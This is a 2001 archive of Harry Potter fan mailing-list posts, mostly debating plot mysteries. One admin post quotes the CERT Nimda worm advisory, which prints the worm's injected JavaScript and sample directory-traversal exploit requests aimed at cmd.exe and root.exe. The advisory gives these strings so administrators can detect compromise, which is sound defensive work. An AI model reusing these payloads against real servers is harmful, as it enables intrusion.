hope) canon as opposed to pure speculation about future books.  If 
you care to share your opinion about some or all of them and which 
arguments you find persuasive, reply and tell us all what you have 
finally decided to believe.

1.  Is Snape a vampire, half-vampire, or just a wizard?
2.  Among Snape, Bagman, Karkarov and Fudge, who are Death Eaters, 
and which DE is too cowardly to return and which DE has left forever?
3.  In PoA, was Lupin simply sleeping on the train, or did Dumbledore 
ask him to take the train to protect Harry?
4.  How many students are at Hogwarts?
5.  Does Snape really want the DADA job?
6.  Does Trelawney have any predictive powers aside from the two 
correct predictions Dumbledore acknowledges?
7.  In GoF, why is Wormtail performing magic with Voldemort's wand, 
and does Wormtail still have his own wand?
8.  Are you convinced that you cannot apparate on the Hogwarts 
grounds, or is this a red herring?
9.  Why don't Fred, George or Harry see or notice Pettigrew on the 
Marauder's Map?
10.  In what order and by whom are James, Lily and Harry attacked?

Laura (who hasn't decided exactly what to think just yet)




From rainy_lilac at yahoo.com  Tue Sep 18 22:51:25 2001
From: rainy_lilac at yahoo.com (rainy_lilac at yahoo.com)
Date: Tue, 18 Sep 2001 22:51:25 -0000
Subject: JKR's secret histories (was Re: Hagrid's Mysterious Past)
In-Reply-To: <9o38ci+db50@eGroups.com>
Message-ID: <9o8j5d+fjmr@eGroups.com>

No: HPFGUIDX 26276

--- In HPforGrownups at y..., "Haggridd" <jkusalavagemd at y...> wrote:
> In the text of the "Vanity Fair" article (I had to tear my eyes from
> the fabulous pics) they revealed that JKR has detailed histories of
> each character INCLUDING THE CHILDHOOD OF SIRIUS BLACK. (sorry, I
> cannot type italics) so that she could maneuver her characters in 
the
> story.  Wouldn't you love to get hold of those biographies?


*moan*  If we got down on our knees and BEGGED, do you think she 
might feed us a little of it? Just a wee page or two?

--Suzanne, Wishing




From mellienel2 at yahoo.com  Tue Sep 18 23:05:57 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Tue, 18 Sep 2001 23:05:57 -0000
Subject: Opinions on Ten Big Mysteries
In-Reply-To: <9o8hft+vhlg@eGroups.com>
Message-ID: <9o8k0l+b2j5@eGroups.com>

No: HPFGUIDX 26277

Thank you for this terrific summation. My two cents:

> 1.  Is Snape a vampire, half-vampire, or just a wizard?

I think it's a little too cheap and as far as we know non-plot-worthy 
to come out with "he's a vampire!" I really can't think of ways in 
which it would help the story. *Can* you be a half vampire? Snape 
seems to me someone who likes to hide in shadows -- how many death 
eaters or former death eaters are out lounging by the lake?


> 2.  Among Snape, Bagman, Karkarov and Fudge, who are Death Eaters, 
> and which DE is too cowardly to return and which DE has left 
forever?

No clue. Now that you say it, though, it is probably not as 
straightforward as the book makes it out to be.

> 3.  In PoA, was Lupin simply sleeping on the train, or did 
Dumbledore 
> ask him to take the train to protect Harry?

Hrm. It could have been a mode of free transportation for him. But it 
is conveneint that they found *that* compartment. And while scabbers 
was there, the sneakoscope was going off the whole time...perhaps he 
wasn't sleeping at all...

> 4.  How many students are at Hogwarts?

If I tried to answer this question I'd be burned alive.

> 5.  Does Snape really want the DADA job?

If his speech in SS/PS is any indication, definitely not. He seems to 
love potions. And if he is a former death eater he would surely 
dislike those who are armed to turn students against him.

> 6.  Does Trelawney have any predictive powers aside from the two 
> correct predictions Dumbledore acknowledges?

Old bat, occasional glimpse of terrible fates. (read: I refuse to 
believe that harry will die).

> 7.  In GoF, why is Wormtail performing magic with Voldemort's wand, 
> and does Wormtail still have his own wand?

I don't think Wormtail has a wand, because he grabbed lupin's to use 
it on Ron in PoA. They never said anything about disarming him, so it 
would seem he didn't have it then. If he didn't have it on him in a 
transformed state, he wouldn't have been able to retrieve it from the 
scene of the explosion as a rat.

> 8.  Are you convinced that you cannot apparate on the Hogwarts 
> grounds, or is this a red herring?

I think the absolute drilling of it into our heads will be important 
later on. See RJAnderson's Darkness and Light trilogy (on 
www.sugarquill.com and www.fanfiction.net) for a very plausible 
working-in of its importance.  If we don't see someone apparate onto 
hogwarts grounds by the end of the series, I'll be shocked.

> 9.  Why don't Fred, George or Harry see or notice Pettigrew on the 
> Marauder's Map?

Eh. Who knows. Never really looked at him before, maybe; ron was only 
at school for 2 years with them,and they might not have used the map 
all that much after they had 'learned it by heart'. But others have 
theorized better.

> 10.  In what order and by whom are James, Lily and Harry attacked?

By whom, who knows. Order, I thikn it was indeed James, Lily then 
Harry. Because we know Lily died to save Harry. So she had to go 
first. (I really don't think JKR would contradict this later in the 
series) And the whole point of "correcting" GoF was to make sure 
their order out of the wands was correct. So it would seem it is in 
that order.

laters,
m.




From wcdawson at optonline.net  Tue Sep 18 23:28:24 2001
From: wcdawson at optonline.net (Patrick Dawson)
Date: Tue, 18 Sep 2001 19:28:24 -0400
Subject: Harry Potter camp?
References: <1000807580.692.69520.l10@yahoogroups.com>
Message-ID: <000701c14099$9cabe710$72d0bc18@OEMCOMPUTER>

No: HPFGUIDX 26278

I found this while browsing through the Daily Show archives on
ComedyCentral.com, looking to see if they had a video or transcript of the
time they visited Brookhaven National Lab. I couldn't find that, but I did
find this:

http://mfile.akamai.com/2597/rm/comcent.download.akamai.com/2597/dailyshow/b
ack/lb_6010_56.ram

Warning: Not for the easily offended :-)




From cynthiaanncoe at home.com  Wed Sep 19 00:44:15 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Wed, 19 Sep 2001 00:44:15 -0000
Subject: Opinions on Ten Big Mysteries
In-Reply-To: <9o8hft+vhlg@eGroups.com>
Message-ID: <9o8pov+72t1@eGroups.com>

No: HPFGUIDX 26279

Laura wrote:
> 
> Here are 10 mysteries/questions about the HP series.  <snip>

> 1.  Is Snape a vampire, half-vampire, or just a wizard?

I also think the idea is cheesy, but I'm willing to entertain the 
possibility that he is half-vampire.  That is because there seems to 
be a some "intermarriage" among wizards and non-wizards.  Hagrid's 
parents, Riddle's parents, Fluer's ancestors.  Also, now that I 
reflect on the argument that Lupin was "sticking it" to Snape when he 
mentioned a "vampire essay", I'd like to see Snape have a vampire 
connection because Lupin's comments would then be quite cagey, and I 
like the idea of him fighting back against Snape.  

> 2.  Among Snape, Bagman, Karkarov and Fudge, who are Death Eaters, 
> and which DE is too cowardly to return and which DE has left 
forever?

I think Bagman is a DE who was present in the graveyard.  Karkarov is 
the coward, and Snape has left forever.  Fudge is not a DE.

> 3.  In PoA, was Lupin simply sleeping on the train, or did 
Dumbledore 
> ask him to take the train to protect Harry?

I think Lupin was simply sleeping.  If he were awake, he'd have cause 
to bristle at some of the remarks made about him ("One good hex would 
finish him off.")  Also, if he is there to protect Harry, why not be 
awake and just sit there and chat with Harry?  

> 4.  How many students are at Hogwarts?

1,000.  I think the presence of additional students and teachers 
above the named characters is implied.

> 5.  Does Snape really want the DADA job?

Mmm, probably not.  You see, Snape is a half-vampire, so he needs 
access to fresh potion ingredients.  :)

> 6.  Does Trelawney have any predictive powers aside from the two 
> correct predictions Dumbledore acknowledges?

Yes, but just barely more than I have.  She did see the Grim a number 
of times.  She just misinterpreted what she saw.  So she was half 
right.

> 7.  In GoF, why is Wormtail performing magic with Voldemort's wand, 
> and does Wormtail still have his own wand?

I'm a little conflicted on this one, and I think it is complex.  When 
Wormtail blows up the street, he ought to leave his wand behind so 
everyone will think he died.  That would be why he would use V's 
wand.  But then again, there are so many spells in the graveyard that 
DO NOT come out of V's wand that I start to wonder if Wormtail is 
doing magic with his own wand.  Also, I was bothered that V 
explicitly removes his wand from his robe pocket after re-birth if W 
was supposedly using it in the graveyard beforehand to kill Cedric, 
etc.

> 8.  Are you convinced that you cannot apparate on the Hogwarts 
> grounds, or is this a red herring?

Yes, I'm sold.  Maybe JKR keeps saying this to support who is and who 
is not able to apparate to the graveyard.  There had better be some 
really clever reason for all of these heavy clues, though, or I'll be 
a little miffed.

> 9.  Why don't Fred, George or Harry see or notice Pettigrew on the 
> Marauder's Map?

I'm officially signing on to the theory that you only see what you're 
interested in on the Marauder's Map.  When Harry first gets it, he 
sees himself materialize on it.  Then he sees the word 
("Dissendium?") when he needs to open the witch's hump.  F, G and 
Harry never needed to see Pettigrew, so they didn't.  

> 10.  In what order and by whom are James, Lily and Harry attacked?
> 
I believe V killed James, then Lily, then tried to kill Harry.  I 
think Harry doesn't come out of V's wand because it is a "failed 
spell."  JKR tells us this order by way of background in the 
beginning of PoA, and I believe her.

Cindy  (who reserves the right to change her mind at any minute)




From sgallag4 at hotmail.com  Wed Sep 19 00:50:35 2001
From: sgallag4 at hotmail.com (sgallag4 at hotmail.com)
Date: Wed, 19 Sep 2001 00:50:35 -0000
Subject: Opinions on Ten Big Mysteries
In-Reply-To: <9o8hft+vhlg@eGroups.com>
Message-ID: <9o8q4r+8jto@eGroups.com>

No: HPFGUIDX 26280

> Here are 10 mysteries/questions about the HP series.  They concern (I 
> hope) canon as opposed to pure speculation about future books.  If 
> you care to share your opinion about some or all of them and which 
> arguments you find persuasive, reply and tell us all what you have 
> finally decided to believe.
> 
> 1.  Is Snape a vampire, half-vampire, or just a wizard?

I'm on the fence between part-vampire and plain wizard.  If the latter, 
he does have a creepy predilection for dark spaces, pasty skin, and 
bat-like speed.

> 2.  Among Snape, Bagman, Karkarov and Fudge, who are Death Eaters, 
> and which DE is too cowardly to return and which DE has left forever?

Snape shall never return (remember, the Quirrell/Voldemort has seen 
Snape try to help Harry at a Quidditch match), Karkaroff is too 
cowardly to return.

> 3.  In PoA, was Lupin simply sleeping on the train, or did Dumbledore 
> ask him to take the train to protect Harry?

I think he was on the train because he lacked the means to get to the 
school on his own and was simply sleeping.

> 4.  How many students are at Hogwarts?

ca. 1000

> 5.  Does Snape really want the DADA job?

Yes

> 6.  Does Trelawney have any predictive powers aside from the two 
> correct predictions Dumbledore acknowledges?

Yes, but not nearly as much as she thinks she does.  

> 7.  In GoF, why is Wormtail performing magic with Voldemort's wand, 
> and does Wormtail still have his own wand?

I presumed it was lost in his faux-death explosion scene.

> 8.  Are you convinced that you cannot apparate on the Hogwarts 
> grounds, or is this a red herring?

I think you can apparate within the grounds, but it would require 
special knowledge of the protective spells to be able to apparate from 
Hogwarts to an outside location.

> 9.  Why don't Fred, George or Harry see or notice Pettigrew on the 
> Marauder's Map?

Because few writers ever do time travel well, JKR not excepted.
 
> 10.  In what order and by whom are James, Lily and Harry attacked?

> James, Lily, Harry.

--Suz, who seems more confident in her beliefs than she really is.





From keegan at mcn.org  Wed Sep 19 01:18:47 2001
From: keegan at mcn.org (Catherine Keegan)
Date: Tue, 18 Sep 2001 18:18:47 -0700
Subject: [HPforGrownups] Opinions on Ten Big Mysteries
In-Reply-To: <9o8hft+vhlg@eGroups.com>
Message-ID: <4.2.0.58.20010918181057.00a3e9a0@mail.mcn.org>

No: HPFGUIDX 26281

At 10:22 PM 9/18/01 +0000, you wrote:
>1.  Is Snape a vampire, half-vampire, or just a wizard?

I think he's just a wizard (who used to be a DE).

>2.  Among Snape, Bagman, Karkarov and Fudge, who are Death Eaters,
>and which DE is too cowardly to return and which DE has left forever?

It sounds like Snape was the one who has left forever.  Karkarov is the too 
cowardly guy and Bagman might have been one.  I can almost see him hanging 
around the dangerous guys (dressed in his Quidditch robes, of course!).

>3.  In PoA, was Lupin simply sleeping on the train, or did Dumbledore
>ask him to take the train to protect Harry?

I'm with the camp that he was taking the train because it was cheap or free.

>4.  How many students are at Hogwarts?

I'll go with what I read in a JRK interview: ca. 1000

>5.  Does Snape really want the DADA job?

Hmmm.  I think he likes what he's doing but he'd like to be offered it.

>6.  Does Trelawney have any predictive powers aside from the two
>correct predictions Dumbledore acknowledges?

I think she has abilities but they're not very controllable.  She must have 
something or she'd be somewhere else.

>7.  In GoF, why is Wormtail performing magic with Voldemort's wand,
>and does Wormtail still have his own wand?

I think he lost it during the explosion, too.

>8.  Are you convinced that you cannot apparate on the Hogwarts
>grounds, or is this a red herring?

Great question!  How does Lucius get there?  Did he take the train?  How 
about Fudge?  Is there a portkey in Hogsemeade?  Hmmm.  I think I'll go 
with can't apparate on Hogwarts' grounds.

>9.  Why don't Fred, George or Harry see or notice Pettigrew on the
>Marauder's Map?

mumble.  I need to think about this one awhile.

>10.  In what order and by whom are James, Lily and Harry attacked?
J, L and then H.

Thanks Laura!  What a great list.

Catherine in California
Albion Works
Furniture, Clothing, and Accesories
For the Medievalist!
www.albionworks.net



From avatar7 at uole.com.ve  Wed Sep 19 01:26:16 2001
From: avatar7 at uole.com.ve (Juan Carlos De La Cruz)
Date: Tue, 18 Sep 2001 21:26:16 -0400
Subject: [HPforGrownups] Harry Potter camp?
In-Reply-To: <000701c14099$9cabe710$72d0bc18@OEMCOMPUTER>
References: <1000807580.692.69520.l10@yahoogroups.com> <000701c14099$9cabe710$72d0bc18@OEMCOMPUTER>
Message-ID: <01091821261609.16678@sysop>

No: HPFGUIDX 26282

For some reason the link appears to be broken.. :(



On Date Tuesday 18 September 2001 07:28, You Wrote:
> I found this while browsing through the Daily Show archives on
>
> http://mfile.akamai.com/2597/rm/comcent.download.akamai.com/2597/dailyshow/
>b ack/lb_6010_56.ram
>------------------------------
Juan Carlos De La Cruz.
DeGoPro.com General Manager.
SysOp.Tech and Op Dept.
IFX Networks Venezuela

Profesionnal Musician and Composer.
Proud Hogwarts student at Ravenclaw.

"Ah, music," Dumbledore said, wiping his eyes.  "A magic beyond all we do
here!"
          -HP and the Sorcerer's Stone



From john at walton.to  Wed Sep 19 02:09:07 2001
From: john at walton.to (John Walton)
Date: Tue, 18 Sep 2001 22:09:07 -0400
Subject: ADMIN: URGENT Virus Warning: Nimda Worm
Message-ID: <B7CD7683.1EA0%john@walton.to>

No: HPFGUIDX 26283

URGENT VIRUS WARNING -- verified by a number of sources -- NIMDA worm

Hi all.

I've discovered what may have been behind the Yahoo slowdown recently -- the
Nimda worm. It's very dangerous...

In the long and the short of it, DON'T OPEN ANY EMAIL ATTACHMENTS,
especially any entitled "readme.exe".

Here's the CERT advisory --


CERT Advisory CA-2001-26 Nimda Worm

   Original release date: September 18, 2001
   Source: CERT/CC

   A complete revision history is at the end of this file.

Systems Affected

     * Systems running Microsoft Windows 95, 98, ME, NT, and 2000

Overview

   The  CERT/CC  has  received reports of new malicious code known as the
   "W32/Nimda  worm"  or  the  "Concept  Virus  (CV)  v.5." This new worm
   appears to spread by multiple mechanisms:

     * from client to client via email

     * from client to client via open network shares

     * from web server to client via browsing of compromised web sites

     * from client to web server via active scanning for and exploitation
       of the "Microsoft IIS 4.0 / 5.0 directory traversal" vulnerability
       (VU #111677)

     * from  client  to  web  server via scanning for the back doors left
       behind  by  the  "Code  Red  II"  (IN-2001-09),  and "sadmind/IIS"
       (CA-2001-11) worms

   Initial  analysis  indicates  that  the  worm  contains no destructive
   payload  beyond  modification  of  web  content  to facilitate its own
   propagation.

   We  are  also  receiving  reports  of denial of service as a result of
   network scanning and email propagation.

I. Description

   The  Nimda  worm  has  the  potential to affect both user workstations
   (clients)  running Windows 95, 98, ME, NT, or 2000 and servers running
   Windows NT and 2000.

   Email Propagation

   This    worm   propagates   through   email   arriving   as   a   MIME
   "multipart/alternative"  message consisting of two sections. The first
   section  is defined as MIME type "text/html", but it contains no text,
   so the email appears to have no content. The second section is defined
   as   MIME   type  "audio/x-wav",  but  it  contains  a  base64-encoded
   attachment named "readme.exe", which is a binary executable.

   Due to a vulnerability described in CA-2001-06 (Automatic Execution of
   Embedded  MIME  Types),  any  mail software running on an x86 platform
   that  uses  Microsoft  Internet Explorer 5.5 SP1 or earlier (except IE
   5.01  SP2)  to  render  the  HTML mail automatically runs the enclosed
   attachment and, as result, infects the machine with the worm. Thus, in
   vulnerable  configurations,  the  worm  payload  will automatically be
   triggered  by  simply opening (or previewing) this mail message. As an
   executable binary, the payload can also be triggered by simply running
   the attachment.

   The  email  message delivering the Nimda worm appears to also have the
   following characteristics:

     * The  text  in  the  subject line of the mail message appears to be
       variable,  but  those  seen  to  date have been over 80 characters
       long.

     * There  appear  to  be  many slight variations in the attach binary
       file,  causing  the MD5 checksum to be different when one compares
       different  attachments from different email messages. However, the
       file  length  of  the  attachment appears to consistently be 57344
       bytes.

   Payload

   Infected  client machines attempt to send copies of the Nimda worm via
   email to all addresses found in the Windows address book.

   Likewise,  the  client  machines  begin  scanning  for  vulnerable IIS
   servers.  Nimda  looks  for backdoors left by previous IIS worms: Code
   Red  II  [IN-2001-09]  and  sadmind/IIS  worm  [CA-2001-11].  It  also
   attempts  to  exploit  the  IIS  Directory Traversal vulnerability (VU
   #111677). The selection of potential target IP addresses follows these
   rough probabilities:

     * 50% of the time, an address with the same first two octets will be
       chosen

     * 25%  of  the  time,  an  address with the same first octet will be
       chosen

     * 25% of the time, a random address will be chosen

   The  infected client machine transfers a copy of the Nimda code to any
   server  that  it scans and finds to be vulnerable. Once running on the
   server  machine,  the  worm  traverses  each  directory  in the system
   (including  all  those  accessible  through a file shares) and write a
   copy  of  itself to disk using the name "README.EML". When a directory
   containing  web  content  (e.g.,  HTML  or  ASP  files)  is found, the
   following snippet of Javascript code is appended to every one of these
   web-related files:

   <script language="JavaScript">
   window.open("readme.eml", null, "resizable=no,top=6000,left=6000")
   </script>

   This  modification  of  web  content allows further propagation of the
   worm  to  new  clients through a browser or browsing of a network file
   system.

   Browser Propagation

   As  part  of  the  infection  process, the Nimda worm modifies all web
   content  files  it  finds  (including,  but not limited to, files with
   .htm,  .html, and .asp extensions). As a result, any user browsing web
   content  on  the  system,  whether  via  the  file system or via a web
   server,   may   download  a  copy  of  the  worm.  Some  browsers  may
   automatically  execute  the  downloaded  copy,  thereby  infecting the
   browsing system.

   File System Propagation

   The  Nimda  worm  creates  numerous  copies  of itself (using the name
   README.EML)  in  all  writable directories (including those found on a
   network  share)  to  which  the  user has access. If a user on another
   system  subsequently  selects  the copy of the worm file on the shared
   network drive in Windows Explorer with the preview option enabled, the
   worm may be able to compromise that system.

   System FootPrint

   The  scanning  activity  of  the Nimda worm produces the following log
   entries for any web server listing on port 80/tcp:

   GET /scripts/root.exe?/c+dir
   GET /MSADC/root.exe?/c+dir
   GET /c/winnt/system32/cmd.exe?/c+dir
   GET /d/winnt/system32/cmd.exe?/c+dir
   GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
   GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
   GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
   GET 
/msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\x1c../winnt/sy
stem32/cmd.exe?/c+dir
   GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
   GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir
   GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir
   GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir
   GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
   GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
   GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
   GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir

   Note:  The  first four entries in these sample logs denote attempts to
   connect  to  the backdoor left by Code Red II, while the remaining log
   entries  are  examples of exploit attempts for the Directory Traversal
   vulnerability.

II. Impact

   Intruders  can  execute  arbitrary  commands  within  the  LocalSystem
   security  context  on  machines running the unpatched versions of IIS.
   Host  that have been compromised are also at high risk for being party
   to attacks on other Internet sites.

   The  high  scanning  rate  of  the Nimda worm may also cause bandwidth
   denial-of-service conditions on networks with infected machines.

III. Solutions

   Recommendations for System Administrators of IIS machines

   To  determine  if  your  system  has  been  compromised,  look for the
   following:

     * root.exe  artifact  (indicates  a  compromise  by  Code  Red II or
       sadmind/IIS worms making the system vulnerable to the Nimda worm)

     * admin.dll  artifact  or  unexpected  .eml files in the directories
       with web content (indicates compromise by the Nimda worm)

   The  only  safe way to recover from the system compromise is to format
   the  system  drive(s)  and  reinstall the system software from trusted
   media  (such  as  vendor-supplied  CD-ROM).  Additionally,  after  the
   software  is reinstalled, all vendor-supplied security patches must be
   applied.  The  recommended  time to do this is while the system is not
   connected  to  any  network.  However,  if sufficient care is taken to
   disable   all  server  network  services,  then  the  patches  can  be
   downloaded from the Internet.

   Detailed  instructions  for recovering your system can be found in the
   CERT/CC tech tip:

          Steps for Recovering from a UNIX or NT System Compromise
          http://www.cert.org/tech_tips/win-UNIX-system_compromise.html

   Apply the appropriate patch from your vendor

   A   cumulative   patch   which   addresses   all  of  the  IIS-related
   vulnerabilities   exploited  by  the  Nimda  worm  is  available  from
   Microsoft at

          http://www.microsoft.com/technet/security/bulletin/MS01-044.asp

   Recommendations for End User Systems

   Apply the appropriate patch from your vendor

   If you are running a vulnerable version of Internet Explorer (IE), the
   CERT/CC  recommends  applying  patch  for  the "Automatic Execution of
   Embedded MIME Types" vulnerability available from Microsoft at

          http://www.microsoft.com/technet/security/bulletin/MS01-020.asp

   Run and Maintain an Anti-Virus Product

   It  is  important  for users to update their anti-virus software. Most
   anti-virus  software vendors have released updated information, tools,
   or  virus  databases  to  help  detect and partially recover from this
   malicious  code.  A list of vendor-specific anti-virus information can
   be found in Appendix A.

   Many   anti-virus   packages   support   automatic  updates  of  virus
   definitions.   We   recommend   using  these  automatic  updates  when
   available.

   Don't open e-mail attachments

   The  Nimda  worm may arrive as an email attachment named "readme.exe".
   Users should not open this attachment.

   Disable  JavaScript  End-user  systems  can become infected with the
   Nimda  worm  by  browsing  web  sites hosted by infected servers. This
   method  of  infection requires the use of JavaScript to be successful.
   Therefore,  the  CERT/CC  recommends  that  end  user  systems disable
   JavaScript.

Appendix A. Vendor Information

   Antivirus Vendor Information

   Central Command, Inc.

          http://support.centralcommand.com/cgi-bin/command.cfg/php/endus
          er/std_adp.php?p_refno=010918-000005

   Command Software Systems

          http://www.commandsoftware.com/virus/nimda.html

   Data Fellows Corp

          http://www.datafellows.com/v-descs/nimda.shtml

   McAfee

          http://vil.mcafee.com/dispVirus.asp?virus_k=99209&

   Sophos

          http://www.sophos.com/virusinfo/analyses/w32nimdaa.html

   Symantec

          http://www.symantec.com/avcenter/venc/data/w32.nimda.a at mm.html

   Trend Micro

          http://www.antivirus.com/vinfo/virusencyclo/default5.asp?VName=
          TROJ_NIMDA.A

          http://www.antivirus.com/pc-cillin/vinfo/virusencyclo/default5.
          asp?VName=TROJ_NIMDA.A

   You  may  wish  to  visit  the CERT/CC's computer virus resources page
   located at 
   
     http://www.cert.org/other_sources/viruses.html

References

   Authors:   Roman  Danyliw,  Chad  Dougherty,  Allen Householder, Robin
   Ruefle
   ______________________________________________________________________

   This document is available from:
   http://www.cert.org/body/advisories/CA200126_FA200126.html
   ______________________________________________________________________

CERT/CC Contact Information

   Email: cert at cert.org
          Phone: +1 412-268-7090 (24-hour hotline)
          Fax: +1 412-268-6989
          Postal address:
          CERT Coordination Center
          Software Engineering Institute
          Carnegie Mellon University
          Pittsburgh PA 15213-3890
          U.S.A.

   CERT  personnel answer the hotline 08:00-20:00 EST(GMT-5) / EDT(GMT-4)
   Monday  through  Friday; they are on call for emergencies during other
   hours, on U.S. holidays, and on weekends.

Using encryption

   We  strongly  urge you to encrypt sensitive information sent by email.
   Our public PGP key is available from

   http://www.cert.org/CERT_PGP.key

   If  you  prefer  to  use  DES,  please  call the CERT hotline for more
   information.

Getting security information

   CERT  publications  and  other security information are available from
   our web site

   http://www.cert.org/

   To  be  added  to  our mailing list for advisories and bulletins, send
   email   to   cert-advisory-request at cert.org   and   include  SUBSCRIBE
   your-email-address in the subject of your message.

   *  "CERT"  and  "CERT  Coordination Center" are registered in the U.S.
   Patent and Trademark Office.
   ______________________________________________________________________

   NO WARRANTY
   Any  material furnished by Carnegie Mellon University and the Software
   Engineering  Institute  is  furnished  on  an  "as is" basis. Carnegie
   Mellon University makes no warranties of any kind, either expressed or
   implied  as  to  any matter including, but not limited to, warranty of
   fitness  for  a  particular purpose or merchantability, exclusivity or
   results  obtained from use of the material. Carnegie Mellon University
   does  not  make  any warranty of any kind with respect to freedom from
   patent, trademark, or copyright infringement.
     _________________________________________________________________

   Conditions for use, disclaimers, and sponsorship information

   Copyright 2001 Carnegie Mellon University.

   Revision History

   September 18, 2001: Initial Release




From y_no_m at yahoo.com  Wed Sep 19 02:55:56 2001
From: y_no_m at yahoo.com (y_no_m at yahoo.com)
Date: Wed, 19 Sep 2001 02:55:56 -0000
Subject: Opinions on Ten Big Mysteries
In-Reply-To: <9o8hft+vhlg@eGroups.com>
Message-ID: <9o91fs+462n@eGroups.com>

No: HPFGUIDX 26284

> 1.  Is Snape a vampire, half-vampire, or just a wizard?

I think he's just a wizard, because if he was a vampire, Hermione 
would have known it especially since Lupin did assign them homework 
about vampires.

> 2.  Among Snape, Bagman, Karkarov and Fudge, who are Death Eaters, 
> and which DE is too cowardly to return and which DE has left 
forever?

Fudge is too scared of You Know Who to be a Death Eater. Wait. Do you 
mean Fudge or Crouch?

> 3.  In PoA, was Lupin simply sleeping on the train, or did 
Dumbledore ask him to take the train to protect Harry?

Simply sleeping. Hogswarts Express seems to be the most popular 
method of transport. Lupin would be too tired to travel all the way 
there on broom. He could have gone over there by Floo Powder... 

Also, curious fact, on September 1, 1993 (real date), there was a 
full moon. ^^ Maybe moons move differently in the Wizarding world.

> 4.  How many students are at Hogwarts?

around 1000.

> 5.  Does Snape really want the DADA job?

I don't think so. He doesn't seem to know much about kappas. I 
believe he just wants to get rid of the DADA teachers. He knew 
Quirrel was up to something. (I wonder how he reacted when he found 
out that Voldemort was in Quirrel or did he ever found out) Lockhart 
was an imbecile. Lupin is a werewolf. Moody was putting the pressure 
on him, and it turns out he was Voldemort's spy. By the end of the 
fourth book, even Snape and Dumbledore probably thought that the DADA 
teaching position is cursed.

> 6.  Does Trelawney have any predictive powers aside from the two 
> correct predictions Dumbledore acknowledges?

She has some predictive powers, but she's not considered a True Seer.

> 7.  In GoF, why is Wormtail performing magic with Voldemort's wand, 
> and does Wormtail still have his own wand?

He lost his wand in the explosion, I think. Maybe he made it self-
destruct. I don't think he could have gone over to Ollivander's for a 
new wand of his own. 

> 8.  Are you convinced that you cannot apparate on the Hogwarts 
> grounds, or is this a red herring?

Convinced you cannot apparate on Hogwarts grounds. The school has to 
have some security.

> 9.  Why don't Fred, George or Harry see or notice Pettigrew on the 
> Marauder's Map?

I like the theory that you only see on the map what you want to see. 
It also solves the problem of how the map could show several floors 
at the same time. Besides, it would be very confusing if the map has 
hundreds of dots moving all at once at the same time.

> 10.  In what order and by whom are James, Lily and Harry attacked?

I'm waiting for this to be confirmed, but I would go for the order 
that's in Lexicon. I've also wondered why James' shadow came out 
first before Lily's.

yen




From catlady at wicca.net  Wed Sep 19 07:16:30 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Wed, 19 Sep 2001 07:16:30 -0000
Subject: Discussion: Sorting Hat, Founders, and the Hogwarts Houses
In-Reply-To: <000001c13ff6$ae5a4220$e9d41a41@breev>
Message-ID: <9o9goe+of60@eGroups.com>

No: HPFGUIDX 26285

--- In HPforGrownups at y..., "Genevieve Pratt" <jheen at m...> wrote:

> 9)  What do you think the reasons are for the colors and animals of
> the different houses? You can choose to answer this either from
> JKR's perspective (i.e. the mythological reasons) or from the 
> Founders (like Slytherin being a Parselmouth.)

>From the mythological view, the colors and animals of the Houses go 
well with the Element that goes with their main trait. Element as in 
the ancient Greek and medieval and alchemical theory that everything 
is made of Four Elements: Fire, Air, Water, and Earth.

Gryffindor - Fire - red - lion - courage, dedication, passion - the 
bad side of those traits would be bad-temper, arrogance, and 
recklessness.

Ravenclaw - Air - blue - eagle - intellect - the bad side would be 
being a dreamer, the 'absent minded professor' stereotype, or being
cruel/evil just because it seems logical..  

Hufflepuff - Earth - yellow - badger - patience, strength, slowness - 
the bad side would be laziness, gluttony, being stuck in habits,
and stupidity.

Slytherin - Green - water - serpent - the attributes are a little 
messed up here by the story's need to have one-quarter of Hogwarts be 
evil.

For example, if I were going to assign ambition to one Element, I
would choose Fire rather than Water. I normally would assign Water
traits like intuition, psychic knowledge, emotional, nurturing, 
flexible, with downsides like moodiness, irrationality/unrealism,
and flexiblity can all  too easily become dishonesty. That is where
the Element of Water connects to Slytherin House: the deviousness
with which they pursue their goals ("Those cunning folks use any
means  To achieve their ends.") is like the way water can take the 
shape of any container and sneak out through the SMALLEST hole. I 
argue that it is not actually absurd to connect nurturing to 
Slytherin House: I believe they help Each Other out: "Or perhaps in 
Slytherin You'll make your real friends, " -- Real Friends!

I think that if the beasts were assigned for personal reasons,
Gryffindor would have a gryphon and Ravenclaw would have
a raven.

It is my theory that Godric Gryffindor was really a Welshman named 
Gryffydd Glyndwr, who went off to seek adventure, first becoming a 
mercenary with Saxon colleagues who couldn't pronounce his name, so 
they called him Godric Gryphon d'Or (golden griffin), which he 
accepted because the symbol of Wales (as seen on their flag) is 
called a Gryphon altho' IIRC it is really a Dragon. And then he went 
to be a pirate with some Vikings, and met up with Danes living in 
Northeastern England (the Danelaw) and married one of them: Helga 
Hufflepuff.

I theorize that Helga was a 'Dane' only because her name sounds 
Scandinavian. And that she was blonde only by my hunch.

And I theorize that Rowena Ravenclaw was a Saxon because the 
character in IVANHOE named Rowena was a Saxon, and that she had red 
hair because rowans are red, and that she was a raven Animagus only 
because of her nickname. Altho' I have seen a baby name book that 
said that Rowena comes from the Welsh name Rhonwen meaing 'fair hair'.

And once again Slytherin is the problem. Wouldn't all Scots just love 
me if I suggested that old Salazar was a Scot just because that was 
the other major ethnic group of the island at that time!

Dai objected to my theory. 
Dai posted: In GoF the Sorting Hat describes Godric Gryffindor as 
being from 'Wild moor.' it is unlikely he came from Wales (we don't 
have any moors). Hufflepuff seems to have Wales covered as she came 
from 'Valley Broad', somewhat stereotypically Welsh. Ravenclaw is 
said to come from 'glen', ie Scotland, and Slytherin from 'fen' ie 
